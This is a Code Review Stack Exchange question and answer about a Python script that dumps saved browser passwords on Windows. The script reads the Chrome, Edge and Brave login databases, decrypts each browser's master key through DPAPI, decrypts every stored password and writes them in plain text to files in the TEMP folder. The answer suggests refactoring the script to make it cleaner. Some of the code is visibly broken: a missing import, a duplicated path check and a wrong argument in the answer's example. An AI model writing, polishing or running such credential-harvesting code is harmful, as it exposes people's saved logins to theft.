1
\$\begingroup\$

basically i am new to python lookin for any bad practices done down there in my script, any ways to shrink the code and increase efficiency

import json, os, win32crypt, shutil, sqlite3
from Crypto.Cipher import AES

tmp = os.getenv('TEMP')
usa = os.environ['USERPROFILE']

triple = False
both = False
edb = usa + os.sep + r'AppData\Local\Microsoft\Edge\User Data\Default\Login Data'
cdb = usa + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'
bdb = usa + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\Default\Login Data'

if os.path.exists(edb) and os.path.exists(bdb):
    both = True
if both and os.path.exists(bdb):
    triple = True
ckey = usa + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State'
ekey = usa + os.sep + r'AppData\Local\Microsoft\Edge\User Data\Local State'
bkey = usa + os.sep + r'AppData\Local\BraveSoftware\Brave-Browser\User Data\Local State'


def dec(pwd, key):
    initv = pwd[3:15]
    block = pwd[15:]
    cphr = AES.new(key, AES.MODE_GCM, initv)
    realAssPass = cphr.decrypt(block)
    realAssPass = realAssPass[:-16].decode()
    return realAssPass


l = ["LOGIN.db", "LOGIN.txt", "LOGINe.db", "LOGINe.txt", "LOGINb.db", "LOGINb.txt"]


def main(db=cdb, keylocation=ckey, dbName=l[0], fName=l[1]):
    cp = shutil.copy2(db, tmp + os.sep + fr"{dbName}")
    f = open(keylocation, "r", encoding="utf-8")
    local_state = f.read()
    local_state = json.loads(local_state)
    maKey = b64decode(local_state['os_crypt']['encrypted_key'])
    maKey = maKey[5:]
    maKey = win32crypt.CryptUnprotectData(maKey)[1]
    # gotTheKeyHoe, TimeToDeCode
    conn = sqlite3.connect(tmp + os.sep + fr"{dbName}")
    cursor = conn.cursor()
    cursor.execute("SELECT action_url, username_value, password_value FROM logins")
    f2 = open(tmp + os.sep + fr"{fName}", "w")
    for i in cursor.fetchall():
        site = i[0]
        user = i[1]
        pas = i[2]
        final = dec(pas, maKey)
        x = f"[...] User: {user}, Pass: {final}, URl: {site}"
        f2.write('\n' + x)
    f2.close()


if triple:
    main()
    main(bdb, bkey, l[4], l[5])
    main(edb, ekey, l[2], l[3])


elif both:
    main()
    main(edb, ekey, l[2], l[3])

else:
    try:
        main()
    except:
        main(db=edb, keylocation=ekey)

FYI i am studyin cybersec and came across a script to recover browser passwords, decided to write one myself

\$\endgroup\$
3
  • 1
    \$\begingroup\$ This seems very hardcoded, especially your paths. How would this run on another persons system with a different file structure or even worse Linux? Disregarding the serverstuff I would look into pathlib and particular Path. \$\endgroup\$ Commented Jul 15, 2021 at 13:42
  • \$\begingroup\$ @N3buchadnezzar it can never work on linux. thats one reason i posted it for a solution \$\endgroup\$ Commented Jul 15, 2021 at 15:39
  • \$\begingroup\$ I changed the title so that it describes what the code does per site goals: "State what your code does in your title, not your main concerns about it.". Feel free to edit and give it a different title if there is something more appropriate. \$\endgroup\$ Commented Jul 15, 2021 at 20:36

1 Answer 1

2
\$\begingroup\$

There are two things that can greatly improve your code's readability.

First one is, using better names. Making a variable name short makes it easier to write it. However, code is more often read than written. Hence, its better to give variables a more meaningful name. For example:

chrome_db_path
edge_db_path
breave_db_path
chrome_key_path
...

And also, as @N3buchadnezzar suggested, you could use pathlib:

import os
from pathlib import Path

tmp_dir = Path(os.getenv('TEMP'))
user_profile_dir = Path(os.environ['USERPROFILE'])

app_data_local_dir = user_profile_dir / 'AppData/Local'

LOGIN_DATA_PATH = 'User Data/Default/Login Data'
LOCAL_STATE_PATH = 'User Data/Local State'

chrome_dir = app_data_local_dir / 'Google/Chrome'
edge_dir = app_data_local_dir / 'Microsoft/Edge'
brave_dir = app_data_local_dir / 'BraveSoftware/Brave-Browser'

chrome_db_path = chrome_dir  / LOGIN_DATA_PATH
edge_db_path = edge_dir / LOGIN_DATA_PATH
brave_db_path = brave_dir  / LOGIN_DATA_PATH

chrome_key_path = chrome_dir / LOCAL_STATE_PATH
...

chrome_and_edge_exist = chrome_db_path.exists() and edge_db_path.exists()
chrome_edge_and_brave_exist = chrome_and_edge_exist and brave_db_path.exists()
...

Also, I would recommend you to use the with statement, to ensure files are always closed:

try:
 my_file = open(my_file_path)
 ...
finally:
 my_file.close()

Would be equivalent to:

with open(my_file_path) as my_file:
 ...

Using pathlib:

my_file_path = Path('some/path')
with my_file_path.open() as my_file:
 ...

Edit:

After re-reading your code, it seems like a list is not the best data structure for the files used by the different browsers. A dict will be more suitable and readable:

browser_files = {
  'chrome': {
    'db_file': 'LOGIN.db',
    'output_file': 'LOGIN.txt'
  },
  'edge': {
    'db_file': 'LOGINe.db',
    'output_file': 'LOGINe.txt'
  },
  ...
}

chrome_files = browser_files['chrome']
main(chrome_db_path, chrome_key_path, chrome_files['db_file'], chrome_files['db_file'])
...
\$\endgroup\$

You must log in to answer this question.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.